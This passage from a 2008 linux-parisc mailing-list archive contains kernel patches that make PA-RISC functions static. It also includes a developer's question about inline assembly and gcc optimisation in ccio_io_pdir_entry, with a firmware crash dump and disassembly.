@@ -396,7 +396,7 @@ EXPORT_SYMBOL(flush_kernel_dcache_page_asm);
 EXPORT_SYMBOL(flush_data_cache_local);
 EXPORT_SYMBOL(flush_kernel_icache_range_asm);
 
-void clear_user_page_asm(void *page, unsigned long vaddr)
+static void clear_user_page_asm(void *page, unsigned long vaddr)
 {
 	/* This function is implemented in assembly in pacache.S */
 	extern void __clear_user_page_asm(void *page, unsigned long vaddr);
@@ -407,7 +407,7 @@ void clear_user_page_asm(void *page, unsigned long vaddr)
 }
 
 #define FLUSH_THRESHOLD 0x80000 /* 0.5MB */
-int parisc_cache_flush_threshold __read_mostly = FLUSH_THRESHOLD;
+static int parisc_cache_flush_threshold __read_mostly = FLUSH_THRESHOLD;
 
 void __init parisc_setup_cache_timing(void)
 {
@@ -440,7 +440,6 @@ void __init parisc_setup_cache_timing(void)
 }
 
 extern void purge_kernel_dcache_page(unsigned long);
-extern void clear_user_page_asm(void *page, unsigned long vaddr);
 
 void clear_user_page(void *page, unsigned long vaddr, struct page *pg)
 {
diff --git a/arch/parisc/kernel/drivers.c b/arch/parisc/kernel/drivers.c
index 2ca654b..09419bd 100644
--- a/arch/parisc/kernel/drivers.c
+++ b/arch/parisc/kernel/drivers.c
@@ -38,6 +38,8 @@
 #include <asm/pdc.h>
 #include <asm/parisc-device.h>
 
+static struct bus_type parisc_bus_type;
+
 /* See comments in include/asm-parisc/pci.h */
 struct hppa_dma_ops *hppa_dma_ops __read_mostly;
 EXPORT_SYMBOL(hppa_dma_ops);
@@ -406,7 +408,7 @@ static void setup_bus_id(struct parisc_device *padev)
 	sprintf(output, "%u", (unsigned char) padev->hw_path);
 }
 
-struct parisc_device * create_tree_node(char id, struct device *parent)
+static struct parisc_device *create_tree_node(char id, struct device *parent)
 {
 	struct parisc_device *dev = kzalloc(sizeof(*dev), GFP_KERNEL);
 	if (!dev)
@@ -582,7 +584,7 @@ static struct device_attribute parisc_device_attrs[] = {
 	__ATTR_NULL,
 };
 
-struct bus_type parisc_bus_type = {
+static struct bus_type parisc_bus_type = {
 	.name = "parisc",
 	.match = parisc_generic_match,
 	.dev_attrs = parisc_device_attrs,
@@ -769,7 +771,7 @@ EXPORT_SYMBOL(device_to_hwpath);
 static void walk_native_bus(unsigned long io_io_low, unsigned long io_io_high,
                             struct device *parent);
 
-void walk_lower_bus(struct parisc_device *dev)
+static void walk_lower_bus(struct parisc_device *dev)
 {
 	unsigned long io_io_low, io_io_high;
 
diff --git a/arch/parisc/kernel/firmware.c b/arch/parisc/kernel/firmware.c
index 7177a6c..ca6a00f 100644
--- a/arch/parisc/kernel/firmware.c
+++ b/arch/parisc/kernel/firmware.c
@@ -95,9 +95,9 @@ int parisc_narrow_firmware __read_mostly = 1;
  */
 
 #ifdef CONFIG_64BIT
-long real64_call(unsigned long function, ...);
+static long real64_call(unsigned long function, ...);
 #endif
-long real32_call(unsigned long function, ...);
+static long real32_call(unsigned long function, ...);
 
 #ifdef CONFIG_64BIT
 #   define MEM_PDC (unsigned long)(PAGE0->mem_pdc_hi) << 32 | PAGE0->mem_pdc
@@ -1404,7 +1404,7 @@ struct narrow_stack {
 	/* in reality, there's nearly 8k of stack after this */
 };
 
-long real32_call(unsigned long fn, ...)
+static long real32_call(unsigned long fn, ...)
 {
 	va_list args;
 	extern struct narrow_stack real_stack;
@@ -1455,7 +1455,7 @@ struct wide_stack {
 	/* in reality, there's nearly 8k of stack after this */
 };
 
-long real64_call(unsigned long fn, ...)
+static long real64_call(unsigned long fn, ...)
 {
 	va_list args;
 	extern struct wide_stack real64_stack;
diff --git a/arch/parisc/kernel/pdc_cons.c b/arch/parisc/kernel/pdc_cons.c
index ccb6809..6da6470 100644
--- a/arch/parisc/kernel/pdc_cons.c
+++ b/arch/parisc/kernel/pdc_cons.c
@@ -66,6 +66,7 @@ static void pdc_console_write(struct console *co, const char *s, unsigned count)
 	spin_unlock_irqrestore(&pdc_console_lock, flags);
 }
 
+#if 0
 int pdc_console_poll_key(struct console *co)
 {
 	int c;
@@ -77,6 +78,7 @@ int pdc_console_poll_key(struct console *co)
 
 	return c;
 }
+#endif  /*  0  */
 
 static int pdc_console_setup(struct console *co, char *options)
 {
diff --git a/arch/parisc/kernel/perf.c b/arch/parisc/kernel/perf.c
index 89d6d5a..20916f5 100644
--- a/arch/parisc/kernel/perf.c
+++ b/arch/parisc/kernel/perf.c
@@ -70,7 +70,7 @@ struct rdr_tbl_ent {
 static int perf_processor_interface __read_mostly = UNKNOWN_INTF;
 static int perf_enabled __read_mostly;
 static spinlock_t perf_lock;
-struct parisc_device *cpu_device __read_mostly;
+static struct parisc_device *cpu_device __read_mostly;
 
 /* RDRs to write for PCX-W */
 static const int perf_rdrs_W[] =
diff --git a/arch/parisc/kernel/setup.c b/arch/parisc/kernel/setup.c
index 39e7c5a..c9a7ff1 100644
--- a/arch/parisc/kernel/setup.c
+++ b/arch/parisc/kernel/setup.c
@@ -62,7 +62,7 @@ EXPORT_SYMBOL(parisc_bus_is_phys);
 unsigned long parisc_vmerge_boundary = 0;
 unsigned long parisc_vmerge_max_size = 0;
 
-void __init setup_cmdline(char **cmdline_p)
+static void __init setup_cmdline(char **cmdline_p)
 {
 	extern unsigned int boot_args[];
 
@@ -89,7 +89,7 @@ void __init setup_cmdline(char **cmdline_p)
 }
 
 #ifdef CONFIG_PA11
-void __init dma_ops_init(void)
+static void __init dma_ops_init(void)
 {
 	switch (boot_cpu_data.cpu_type) {
 	case pcx:
diff --git a/arch/parisc/kernel/smp.c b/arch/parisc/kernel/smp.c
index 85fc775..8581f7f 100644
--- a/arch/parisc/kernel/smp.c
+++ b/arch/parisc/kernel/smp.c
@@ -59,8 +59,6 @@ static int smp_debug_lvl = 0;
 #define smp_debug(lvl, ...)
 #endif /* DEBUG_SMP */
 
-DEFINE_SPINLOCK(smp_lock);
-
 volatile struct task_struct *smp_init_current_idle_task;
 
 static volatile int cpu_now_booting __read_mostly = 0;	/* track which CPU is booting */
@@ -82,7 +80,7 @@ cpumask_t cpu_possible_map __read_mostly = CPU_MASK_ALL;	/* Bitmap of Present CP
 EXPORT_SYMBOL(cpu_online_map);
 EXPORT_SYMBOL(cpu_possible_map);
 
-DEFINE_PER_CPU(spinlock_t, ipi_lock) = SPIN_LOCK_UNLOCKED;
+static DEFINE_PER_CPU(spinlock_t, ipi_lock) = SPIN_LOCK_UNLOCKED;
 
 struct smp_call_struct {
 	void (*func) (void *info);
@@ -450,7 +448,7 @@ void __init smp_callin(void)
 /*
  * Bring one cpu online.
  */
-int __cpuinit smp_boot_one_cpu(int cpuid)
+static int __cpuinit smp_boot_one_cpu(int cpuid)
 {
 	struct task_struct *idle;
 	long timeout;
diff --git a/arch/parisc/kernel/traps.c b/arch/parisc/kernel/traps.c
index 675f1d0..a168503 100644
--- a/arch/parisc/kernel/traps.c
+++ b/arch/parisc/kernel/traps.c
@@ -51,8 +51,8 @@
 DEFINE_SPINLOCK(pa_dbit_lock);
 #endif
 
-void parisc_show_stack(struct task_struct *t, unsigned long *sp,
-	struct pt_regs *regs);
+static void parisc_show_stack(struct task_struct *t, unsigned long *sp,
+			      struct pt_regs *regs);
 
 static int printbinary(char *buf, unsigned long x, int nbits)
 {
@@ -186,8 +186,8 @@ static void do_show_stack(struct unwind_frame_info *info)
 	printk("\n");
 }
 
-void parisc_show_stack(struct task_struct *task, unsigned long *sp,
-	struct pt_regs *regs)
+static void parisc_show_stack(struct task_struct *task, unsigned long *sp,
+			      struct pt_regs *regs)
 {
 	struct unwind_frame_info info;
 	struct task_struct *t;
@@ -297,11 +297,6 @@ KERN_CRIT "                     ||     ||\n");
 	do_exit(SIGSEGV);
 }
 
-int syscall_ipi(int (*syscall) (struct pt_regs *), struct pt_regs *regs)
-{
-	return syscall(regs);
-}
-
 /* gdb uses break 4,8 */
 #define GDB_BREAK_INSN 0x10004
 static void handle_gdb_break(struct pt_regs *regs, int wot)
@@ -354,7 +349,7 @@ static void default_trap(int code, struct pt_regs *regs)
 void (*cpu_lpmc) (int code, struct pt_regs *regs) __read_mostly = default_trap;
 
 
-void transfer_pim_to_trap_frame(struct pt_regs *regs)
+static void transfer_pim_to_trap_frame(struct pt_regs *regs)
 {
     register int i;
     extern unsigned int hpmc_pim_data[];
@@ -820,7 +815,7 @@ void handle_interruption(int code, struct pt_regs *regs)
 }
 
 
-int __init check_ivt(void *iva)
+static int __init check_ivt(void *iva)
 {
 	extern const u32 os_hpmc[];
 	extern const u32 os_hpmc_end[];
diff --git a/include/asm-parisc/cache.h b/include/asm-parisc/cache.h
index 32c2cca..56205d6 100644
--- a/include/asm-parisc/cache.h
+++ b/include/asm-parisc/cache.h
@@ -39,7 +39,6 @@ unsigned long alloc_sid(void);
 struct seq_file;
 extern void show_cache_info(struct seq_file *m);
 
-extern int split_tlb;
 extern int dcache_stride;
 extern int icache_stride;
 extern struct pdc_cache_info cache_info;
diff --git a/include/asm-parisc/parisc-device.h b/include/asm-parisc/parisc-device.h
index 7aa13f2..82436f7 100644
--- a/include/asm-parisc/parisc-device.h
+++ b/include/asm-parisc/parisc-device.h
@@ -59,6 +59,4 @@ parisc_get_drvdata(struct parisc_device *d)
 	return dev_get_drvdata(&d->dev);
 }
 
-extern struct bus_type parisc_bus_type;

From - Thu Nov 08 21:02:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Adrian Bunk <bunk@kernel.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [2.6 patch] parisc/lib/: make code static
Date: Sun, 15 Jun 2008 19:13:35 +0300
Lines: 44
Approved: news@gmane.org
Message-ID: <20080615161335.GE7865@cs181133002.pp.htv.fi>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
X-Trace: ger.gmane.org 1213546545 18754 80.91.229.12 (15 Jun 2008 16:15:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 15 Jun 2008 16:15:45 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: kyle@mcmartin.ca, matthew@wil.cx, grundler@parisc-linux.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 15 18:16:28 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K7utw-00047Z-Su
	for glpp-linux-parisc@gmane.org; Sun, 15 Jun 2008 18:16:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759161AbYFOQPI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 15 Jun 2008 12:15:08 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1759233AbYFOQPH
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 15 Jun 2008 12:15:07 -0400
Original-Received: from smtp5.pp.htv.fi ([213.243.153.39]:40794 "EHLO smtp5.pp.htv.fi"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1759049AbYFOQOx (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 15 Jun 2008 12:14:53 -0400
Original-Received: from cs181133002.pp.htv.fi (cs181140183.pp.htv.fi [82.181.140.183])
	by smtp5.pp.htv.fi (Postfix) with ESMTP id D23085BC03E;
	Sun, 15 Jun 2008 19:14:52 +0300 (EEST)
Content-Disposition: inline
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:402 gmane.linux.kernel:694203
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/402>

This patch makes the following needlessly global code static:
- iomap.c: struct iomap_ops[]
- memcpy.c: pa_memcpy()

Signed-off-by: Adrian Bunk <bunk@kernel.org>

---

 arch/parisc/lib/iomap.c  |    2 +-
 arch/parisc/lib/memcpy.c |    2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

45e7cd0b2c678dda4f5ba4ac6d0ed628df9381bd diff --git a/arch/parisc/lib/iomap.c b/arch/parisc/lib/iomap.c
index 9abed07..5069e8b 100644
--- a/arch/parisc/lib/iomap.c
+++ b/arch/parisc/lib/iomap.c
@@ -261,7 +261,7 @@ static const struct iomap_ops iomem_ops = {
 	iomem_write32r,
 };
 
-const struct iomap_ops *iomap_ops[8] = {
+static const struct iomap_ops *iomap_ops[8] = {
 	[0] = &ioport_ops,
 	[7] = &iomem_ops
 };
diff --git a/arch/parisc/lib/memcpy.c b/arch/parisc/lib/memcpy.c
index 2d68431..bbda909 100644
--- a/arch/parisc/lib/memcpy.c
+++ b/arch/parisc/lib/memcpy.c
@@ -275,7 +275,7 @@ handle_store_error:
 
 
 /* Returns 0 for success, otherwise, returns number of bytes not transferred. */
-unsigned long pa_memcpy(void *dstp, const void *srcp, unsigned long len)
+static unsigned long pa_memcpy(void *dstp, const void *srcp, unsigned long len)
 {
 	register unsigned long src, dst, t1, t2, t3;
 	register unsigned char *pcs, *pcd;

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rubisher <rubisher@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: in =?utf-8?b?Y2Npb19pb19wZGlyX2VudHJ5KCks?= =?utf-8?b?QlVHX09OKCk=?= seems to break gcc-4.2 optimization?
Date: Mon, 16 Jun 2008 11:37:39 +0000 (UTC)
Lines: 234
Approved: news@gmane.org
Message-ID: <loom.20080616T100421-360@post.gmane.org>
References: <48550D05.2060501@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1213617926 31327 80.91.229.12 (16 Jun 2008 12:05:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 16 Jun 2008 12:05:26 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 16 14:06:06 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K8DTD-0008NH-FS
	for glpp-linux-parisc@gmane.org; Mon, 16 Jun 2008 14:06:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753254AbYFPMFI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 16 Jun 2008 08:05:08 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753167AbYFPMFI
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 16 Jun 2008 08:05:08 -0400
Original-Received: from main.gmane.org ([80.91.229.2]:44113 "EHLO ciao.gmane.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753218AbYFPMFG (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 16 Jun 2008 08:05:06 -0400
Original-Received: from root by ciao.gmane.org with local (Exim 4.43)
	id 1K8DSI-000167-SW
	for linux-parisc@vger.kernel.org; Mon, 16 Jun 2008 12:05:03 +0000
Original-Received: from 57.67.177.33 ([57.67.177.33])
        by main.gmane.org with esmtp (Gmexim 0.1 (Debian))
        id 1AlnuQ-0007hv-00
        for <linux-parisc@vger.kernel.org>; Mon, 16 Jun 2008 12:05:02 +0000
Original-Received: from rubisher by 57.67.177.33 with local (Gmexim 0.1 (Debian))
        id 1AlnuQ-0007hv-00
        for <linux-parisc@vger.kernel.org>; Mon, 16 Jun 2008 12:05:02 +0000
X-Injected-Via-Gmane: http://gmane.org/
Original-Lines: 228
Original-X-Complaints-To: usenet@ger.gmane.org
X-Gmane-NNTP-Posting-Host: main.gmane.org
User-Agent: Loom/3.14 (http://gmane.org/)
X-Loom-IP: 57.67.177.33 (Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:403
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/403>

wierd, though.

rubisher <rubisher <at> scarlet.be> writes:

> 
> Hello all,
> 
> looking at this hunk:
> void CCIO_INLINE
> ccio_io_pdir_entry(u64 *pdir_ptr, space_t sid, unsigned long vba,
>                     unsigned long hints)
> {
>          register unsigned long pa;
>          register unsigned long ci; /* coherent index */
> 
>          /* We currently only support kernel addresses */
>          BUG_ON(sid != KERNEL_SPACE);
> 
no pb to get rid of this BUG_ON(): each place I see it called sid == KERNEL_SPACE
the optimized produced code looks so Ok

[snip]
> 
> But this time, it seems not consider assembly:
>          asm volatile ("lci %%r0(%%sr1, %1), %0" : "=r" (ci) : "r" (vba));
>          asm volatile ("extru %1,19,12,%0" : "+r" (ci) : "r" (ci));
>          asm volatile ("depw  %1,15,12,%0" : "+r" (pa) : "r" (ci));
> 
> as a 'volatile' block and insert line 1c:
> This could may be solved by re-write as an one 'volatile' asm block like:
> 	asm volatile (
> 	"lci %%r0(%%sr1, %1), %1"
> 	"\textru        %1,19,12,%1\n"
> 	"\tdepw         %1,15,12,%0\n"
> 	: "=r" (pa)
> 	: "r" (vba));
> 
> and even add a clobber 'memory'
> 	asm volatile (
> 	"lci %%r0(%%sr1, %1), %1"
> 	"\textru        %1,19,12,%1\n"
> 	"\tdepw         %1,15,12,%0\n"
> 	: "=r" (pa)
> 	: "r" (vba)
> 	: "memory");
> 
> But I have no clue how to restore BUG_ON() and avoid wrong optimization?
> 
But here is what is very wierd, I tested severall re-writen on this code amoung
latest:
	asm volatile (
	"lci %%r0(%%sr1, %1), %%r19"
	"\textru        %%r19,19,12,%%r19\n"
	"\tdepw         %%r19,15,12,%0\n"
	: "=r" (pa)
	: "r" (vba)
	: "r19" );

but this system failed to boot on ncr_attach: pim info seems to point out to
this place:
PROCESSOR PIM INFORMATION

-----------------  Processor 0 HPMC Information ------------------

Timestamp =   Mon Jun  16 09:50:32 GMT 2008    (20:08:06:16:09:50:32)

HPMC Chassis Codes = 0xcbf0  0x5002  0x7d03  0x5402  0x5508  0xcbf2  
                     0xcbfc  

General Registers 0 - 31
00-03  0000000000000000  18711a0000001194  0000000010514bf8  000000001fd48000
04-07  0000000000000003  0000000010520308  000000001fdf2400  000000001fc20414
08-11  000000001049f3d8  000000001fc20088  000000001051ce20  00000000104e03cc
12-15  000000001fd4802c  000000001fdf2704  0000000010425000  0000000010425000
16-19  0000000010403b78  0000000010403ba8  0000000010403bb8  0000000000024800
20-23  00000000000a142c  00000000000f4240  000000001fd48000  0000000000001458
24-27  0000000000024800  0000000000000000  000000001fd48000  000000001047de20
28-31  0000000000000001  61c4680000004650  000000001fc20540  000000001029bfdc

Control Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11  0000000000000000  0000000000000000  00000000000000c0  000000000000001d
12-15  0000000000000000  0000000000000000  0000000000110000  00000000e1000000
16-19  000000248ca1a027  0000000000000000  0000000010514c6c  00000000d39c1bfd
20-23  000000009227ffc4  000000000102482c  000000ff0004f90f  0000000080000000
24-27  00000000004c2000  00000000004c2000  00000000aaaaaaaa  00000000aaaaaaaa
28-31  00000000000003d0  0000000011111111  000000001fc20000  0000000011111111

Space Registers 0 - 7
00-03  00000000          00000000          00000000          00000000
04-07  00000000          00000000          00000000          00000000

IIA Space                    = 0x0000000000000000
IIA Offset                   = 0x0000000010514c70
Check Type                   = 0x20000000
CPU State                    = 0x9e000004
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x00305004
Assists Check                = 0x00000000
Assist State                 = 0x00000000
Path Info                    = 0x00000000
System Responder Address     = 0x000000fff1004817
System Requestor Address     = 0xfffffffffffa0000
Check Summary                = 0x8000000810284000
Available Memory             = 0x0000000010000000
CPU Diagnose Register 2      = 0x0301000004000004
CPU Status Register 0        = 0x1440020000000000
CPU Status Register 1        = 0x8000000800000000
SADD LOG                     = 0x0000000100000001
Read Short LOG               = 0xc10010fff1004817

-----------------  Processor 0 LPMC Information ------------------

Check Type                   = 0x00000000
IC Parity Info               = 0x00000000
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x00000000
Assists Check                = 0x00000000
Assist State                 = 0x00000000
Path Info                    = 0x00000000
System Responder Address     = 0x0000000000000000
System Requestor Address     = 0x0000000000000000

-----------------  Processor 0 TOC Information -------------------

General Registers 0 - 31
00-03  0000000000000000  000000000aba9500  00000000f005d12c  0000002d110b5065
04-07  0000000000000000  fffffffff0101120  00000000000f4240  0000000000000005
08-11  00000000f0102cd4  000000001fc20088  000000001051ce20  00000000104e03cc
12-15  000000001fd4802c  000000001fdf2704  0000000010425000  0000000010425000
16-19  0000000010403b78  0000000010403ba8  0000000010403bb8  fffffffff0160007
20-23  0000000000000001  00000000000f4240  000000001fd48000  0000000000000000
24-27  0000000000000000  0000000000000000  0000002d13066c03  fffffffff0102400
28-31  0000002d1bc5e565  0301000004000004  fffffffff0102e30  0301000004000004

Control Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11  0000000000000000  0000000000000000  00000000000000c0  000000000000001d
12-15  0000000000000000  0000000000000000  000000fff0010000  0000000000000000
16-19  0000002d130a7a0d  0000000000000000  00000000f005d154  000000000804025c
20-23  000000009227c3c0  c000000040902e44  0000000000291008  0000000080000000
24-27  00000000004c2000  00000000004c2000  00000000aaaaaaaa  00000000aaaaaaaa
28-31  00000000000003d0  0000000011111111  000000001fc20000  0000000011111111

Space Registers 0 - 7
00-03  00000000          00000000          00000000          00000000
04-07  00000000          00000000          00000000          00000000

IIA Space                    = 0x0000000000000000
IIA Offset                   = 0x00000000f005d134
CPU State                    = 0x9e000001


Memory Error Log Information:

Timestamp =   Mon Jun  16 09:50:32 GMT 2008    (20:08:06:16:09:50:32)

                    Trans  Addr                   Central Bus
Status  Requestor     id    par  CP  AD  DV       Address/Data
------  ----------  -----  ----  --  --  --  ---------------------

 0x14   0xfffa0000   0x00   0x0   0   0   0  0x00000000 0x00000000

                                                    Memory
                                  ECC Reg     Address      Data
                                 ----------  ---------- ----------

                                 0x00000000  0x00000000 0x00000000
                                                        0x00000000
                                                        0x00000000
                                                        0x00000000
                                                        0x00000000

I/O Module Error Log Information:

Timestamp =   Mon Jun  16 09:50:32 GMT 2008    (20:08:06:16:09:50:32)

Bus    HPA       Module Type      Path  Slt Md Sev  Estat Requestor  Responder
--- ---------- ---------------- -------- -- -- ---- ----- ---------- ----------
 0  0xfff88000 I/O Adapter      8         2  0  he   0x04 0xf1004000 0x000a1420
 0  0xfff8a000 I/O Adapter      10        2  2  he   0x0d 0x00000000 0x00000000

IO Bus Converter Log
--------------------

IOA0 HPA            = 0xfff88000
IOA0 UBC_IO_CONTROL = 0x00020080
GSC1 HPA            = 0xf1000001
IOA0 IO_IO_LO       = 0xf0800000
IOA0 IO_IO_HI       = 0xf17f0000
IOA0 IO_IO_LO_HV    = 0xfc000000
IOA0 IO_IO_HI_HV    = 0xfff80000

IOA1 HPA            = 0xfff8a000
IOA1 UBC_IO_CONTROL = 0x00020080
GSC2 HPA            = 0xf1800001
IOA1 IO_IO_LO       = 0xf1800000
IOA1 IO_IO_HI       = 0xf2000000
IOA1 IO_IO_LO_HV    = 0x00000000
IOA1 IO_IO_HI_HV    = 0x00000000

while IAOQ point to
IIA Offset                   = 0x0000000010514c70
...

e.g. IAOQ = 0x0000000010514c70

Parse IAOQ = 0x0000000010514c70 for CPU[0]

Func: ncr_attach, Off: 0xc4c, Addr: 0x10514c70

	...
10514c60:	80 95 20 28 	cmpb,= r21,r4,10514c7c <.L1517+0x660>

	...
10514c70:	87 80 3f d7 	cmpib,=,n 0,ret0,10514c60 <.L1517+0x644>
10514c74:	34 84 00 02 	ldo 1(r4),r4
10514c78:	08 03 02 5a 	copy r3,r26
10514c7c:	34 19 00 c8 	ldi 64,r25

Any idea what I missed in this chg?

Tia,
r.

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: ldcw inline assembler patch
Date: Mon, 16 Jun 2008 16:50:23 -0400
Lines: 43
Approved: news@gmane.org
Message-ID: <119aab440806161350w4d15c14ex735377b78f697fd8@mail.gmail.com>
References: <4853E587.9020802@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1213649438 21089 80.91.229.12 (16 Jun 2008 20:50:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 16 Jun 2008 20:50:38 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	"John David Anglin" <dave.anglin@nrc.ca>
To: "Helge Deller" <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 16 22:51:21 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K8Lfc-0001ji-AB
	for glpp-linux-parisc@gmane.org; Mon, 16 Jun 2008 22:51:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753250AbYFPUu0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 16 Jun 2008 16:50:26 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753896AbYFPUu0
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 16 Jun 2008 16:50:26 -0400
Original-Received: from wa-out-1112.google.com ([209.85.146.181]:48011 "EHLO
	wa-out-1112.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753077AbYFPUuY (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 16 Jun 2008 16:50:24 -0400
Original-Received: by wa-out-1112.google.com with SMTP id j37so4458313waf.23
        for <linux-parisc@vger.kernel.org>; Mon, 16 Jun 2008 13:50:23 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from:sender
         :to:subject:cc:in-reply-to:mime-version:content-type
         :content-transfer-encoding:content-disposition:references
         :x-google-sender-auth;
        bh=hwQIKX3x5xTmhhGOK4gmIrPsltFHxA+lRAR9eLoPIC4=;
        b=nIZFZvSTuKYdSeT/29fnFVgC9GTdVkkyWEMW8y8mztFkxRNa6Iqn8jW9n5baJmSv7V
         swQyndi0WVFtbdP/oYAfBwQPQZF8+YQ8S302xsV9AwNxVtpN9j7e6Qz9wCw4VDMGO5eU
         8Y7KZBotklhyGYMODKs1xc3Jc0B3uX+V/IYpo=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version
         :content-type:content-transfer-encoding:content-disposition
         :references:x-google-sender-auth;
        b=j0/Moow3eyufayMFjJC3Kj+qTDl7e+vRGuKZBBQ2QTDWSpOU+aT4A1rfHWeJ2ag5uu
         /FZbFqQjACBHhY0GBPnMzaMqfsBhtJ8MpYlRQDLkEkFFEOOemtamE8cXyBWH1V7nW5vQ
         DXntjAtaaLNWXAdAj9qU3225xiPy70uKTtpd0=
Original-Received: by 10.115.19.19 with SMTP id w19mr6867322wai.195.1213649423352;
        Mon, 16 Jun 2008 13:50:23 -0700 (PDT)
Original-Received: by 10.115.75.10 with HTTP; Mon, 16 Jun 2008 13:50:23 -0700 (PDT)
In-Reply-To: <4853E587.9020802@gmx.de>
Content-Disposition: inline
X-Google-Sender-Auth: e658cac57320110b
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:404
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/404>

On Sat, Jun 14, 2008 at 11:36 AM, Helge Deller <deller@gmx.de> wrote:
> I'm wondering if this patch might help people who are seeing locking
> problems on SMP boxes ?
> Helge
>
> diff --git a/include/asm-parisc/system.h b/include/asm-parisc/system.h
> index ee80c92..4752684 100644
> --- a/include/asm-parisc/system.h
> +++ b/include/asm-parisc/system.h
> @@ -168,8 +168,9 @@ static inline void set_eiem(unsigned long val)
